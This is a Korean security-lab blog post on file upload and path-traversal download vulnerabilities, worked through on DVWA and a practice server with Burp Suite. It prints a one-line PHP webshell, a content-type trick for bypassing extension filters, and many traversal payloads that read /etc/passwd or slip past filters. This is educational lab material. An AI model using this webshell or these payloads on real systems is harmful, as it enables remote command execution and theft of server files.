본문 바로가기

해킹-보안

파일 업로드/다운로드 취약점 공격

반응형


ி 파일 업로드 취약점


파일 업로드 기능이 존재하는 웹 어플리케이션에서 확장자 필터링이 제대로 이루어지지 않았을 경우
공격자가 악성 스크립트 파일을 업로드하여 해당 스크립트를 통해 원격에서 시스템을 제어할 수 있다.

버프스위트를 이용하여 dvwa에 업로드가 제한된 파일을 강제로 업로드하는 실습을 진행해보자.

#1 파일 크기 제한

웹서버가 파일 업로드 용량을 10kb로 제한하였다. 


그 이상의 용량을 업로드하려면 MAX_FILE_SIZE를 설정하면 된다.




#2 제한된 확장자 업로드

서버에서 php,asp,jsp 확장자는 업로드를 제한하였다.

확장자 필터링을 우회하려면 content-type을 image/jpeg로 변경하면 된다.


업로드된 webshell.php 코드는 아래와 같다.
<?php
system( $_GET[cmd] );
?>

공격자가 HTTP GET 방식으로 webshell.php에 있는 경로에서 명령 코드를 서버에게 전달하면  

서버는 저 php 코드를 해석하여 명령을 수행하게 된다. 

공격자는 서버에 /etc/passwd 명령을 전달하였다.

그 후 공격자의 웹페이지 화면에 서버의 명령 결과가 출력되었다.



ி 파일 다운로드 취약점


서버에 파일을 다운로드할 때 파일의 경로 및 파일명을 파라미터로 받아 처리하는 경우
이를 적절히 필터링 하지 않으면 공격자가 이를 조작하여 허용되지 않은 파일을 다운 받을 수 있다.


윈도우 경로 지시자


파일 다운로드 취약점을 실습하려면
폴더간 이동할 때 사용하는 경로 지시자를 알아야한다.

윈도우에서 상위 폴더로 이동하는 명령어는 ../ 또는 ..\로 표현한다.
리눅스는 ../만 사용할 수 있다.

윈도우 cmd에서 다음 경로는 어떻게 실행되는지 확인해보자.
"practice\test\../a.png"
"practice\test\..\a.png"
아까 말했듯이 윈도우에서 경로를 이동할 때 슬래시와 역슬래시 모두 사용가능하다.
따라서 practice폴더에 있는 a.png가 실행된다.

"practice\test\.\a.png"
"practice\test\./a.png"
"practice\test\\a.png"
"practice\test\/a.png"

./ .\
/ \ 는 경로에 아무런 영향이 없으므로 test폴더에 있는 png가 실행된다.



취약점 공격 유형


filename=../../../../etc/passwd
filename=passwd&path=../../../../etc
filename=passwd&path=/etc

리눅스에 /etc/passwd 파일을 가져오는 공격 유형이다.



실습


피해 서버는 윈도우 apmsetup을 사용
피해 서버에 존재하는 다운로드 가능한 파일은 prob/test.jpg
파일 다운로드 취약점을 이용하여 다운받아야 하는 서버의 파일은 C:\\down\clear.txt
버프스위트로 prob/test.jpg 파일의 다운로드 경로를 조작하여 C:\\down\clear.txt를 다운할 것 
 피해 서버의 전체 경로는 C:\\A/B/C/D/prob/  



➽ 서버에서 어떤 경로 문자를 필터링하는지 확인한다.
서버는 파일 다운로드 취약점을 대비하기 위해 / \ ./ ../ .\ ..\ 등의 경로 문자를 필터링할 가능성이 있다.
이를 위해 filename 중간에 경로 문자를 삽입 요청하여 응답을 확인하도록 한다.
파일 다운이 가능하다면 해당 경로는 필터링되고 있는 것이다.

예시로 test.jpg를 t/est.jpg로 변경했는데 /라는 문자가 필터링된다면
다시 test.jpg로 바뀌게 되어 정상적인 문자열로 인식하고 파일이 다운로드가 된다.
만약 필터링이 안된다면 서버에서 특수문자 경로를 포함 또는 없는 파일이라는 
경고 메세지를 반환하고 파일은 다운할 수 없다.
따라서 여러 경로 문자들을 대입하여 필터링하는 문자들을 먼저 걸러내야한다.


Challenge 1

filename=/test.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다.

filename=\test.jpg
filename=te\st
filename=t.\est
filename=.\test.jpg
filename=..\test.jpg
응답결과 : 파일이 존재하지 않습니다.

/는 전부 필터링, \ .\ ..\ 는 필터링하지 않는다.
down\clear.txt 파일을 다운받기 위해 아래와 같이 작성한다.
filename=..\..\..\..\..\..\down\clear.txt
..\를 필터링하지 않으니 그대로 작성한다.



Challenge 2

아래의 응답 결과를 토대로 경로 필터를 우회하는 패턴을 작성한다.

filename=te/st.jpg
filename=te./st.jpg
응답결과 : 파일이 존재하지 않습니다.

filename=../test.jpg
filename=te../st.jpg
응답결과 : 정상적으로 파일을 다운로드

/와 ./는 no 필터링,  ../는 필터링되고 있다.

이 필터링을 우회하려면 다음과 같이 작성한다.
filename=....//....//....//....//....//....//down/clear.txt
....//에 ../가 필터되면서 ../로 바뀌게 되므로 상위 폴더로 이동하는 경로가 만들어진다.



Challenge 3

이전과는 다르게 경로값을 따로 받는다
path=upload/images&filename=test.jpg

filename=/test.jpg
filename=\test.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다.

path= upload/images/../
응답결과 : 파일이 존재하지 않습니다.

➽ 이 문제는 upload 폴더에 상위 폴더가 최상위 폴더라고 가정한다.
path=upload/images/../../../down&filename=clear.txt



Challenge 4

filename=t/est.jpg
filename=t\est.jpg
filename=t./est.jpg
filename=t..\est.jpg
filename=t../est.jpg
응답결과 : 파일이 존재하지 않습니다.

filename=t../../est.jpg
응답결과 : 허용되지 않는 문자가 포함되어 있습니다.

../는 가능하나 ../../부터 사용이 불가하다.

이를 우회하는 방법은 아래와 같다.
filename=.././.././.././.././.././../down/clear.txt
./는 아무 의미 없는 경로인데
이를 같이 삽입하여 .././../를 만들면 중간에 ./가 사라지면서 ../../로 바뀌게 된다.



Challenge 5


filename=t/est.jpg
filename=t\est.jpg
filename=test.jpg
응답결과 : 파일이 존재하지 않습니다.

filename=t./est.jpg
filename=t.\est.jpg
filename=t..\est.jpg
filename=t../est.jpg
응답결과 : 정상적으로 파일을 다운로드

이 문제는 필터링 순서가 중요하다.
./와 .\를 먼저 제거후 ../를 제거한다.


filename = .....///.....///.....///.....///.....///.....///.....///down/clear.txt
경로 제거 순서는 다음과 같다.
...../// → ....// → ../



Challenge 6


filename=\t\est.jpg
filename=t.est.jpg
응답결과 : 파일이 존재하지 않습니다.

filename=/t/est.jpg
filename=..t..est.jpg
filename=./test.jpg
filename=../test.jpg
응답결과 : 정상적으로 파일을 다운로드

/와 ..은 각각 필터링된다.
순서체크를 위해 ./.을 넣어본다.
만약 다운로드가 가능하다면 / 제거후 ..도 제거되지만
다운이 안되므로 ..제거 후 /가 제거된다.

filename=./.\./.\./.\./.\./.\./.\./.\down\clear.txt
위 우회법은 / 대신 ..을 먼저 제거하기 때문에 가능한 방법이다.
만약 /가 먼저 제거되면 ./.\ → ..\ → \만 남게된다.



반응형